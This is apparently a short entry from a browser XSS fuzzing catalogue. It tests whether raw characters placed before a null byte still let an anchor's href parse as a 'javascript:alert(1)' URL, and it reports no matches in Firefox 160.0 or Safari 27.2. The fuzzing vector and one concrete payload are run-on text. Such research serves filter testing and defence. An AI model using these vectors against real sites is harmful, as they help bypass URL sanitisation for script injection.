This vector shows what raw characters are allowed before null in a JS URL.
document.body.innerHTML=`<a href="${String.fromCodePoint($[i])}${String.fromCodePoint(0)}javascript:alert(1)">test</a>`;
document.body.querySelector('a').protocol === 'javascript:' && log($[i])document.body.innerHTML=`<a href="${String.fromCodePoint(13)}${String.fromCodePoint(0)}javascript:alert(1)">test</a>`;
document.body.querySelector('a').protocol === 'javascript:' && alert(13)Firefox 160.0 ran this vector and matched nothing.
Safari 27.2 ran this vector and matched nothing.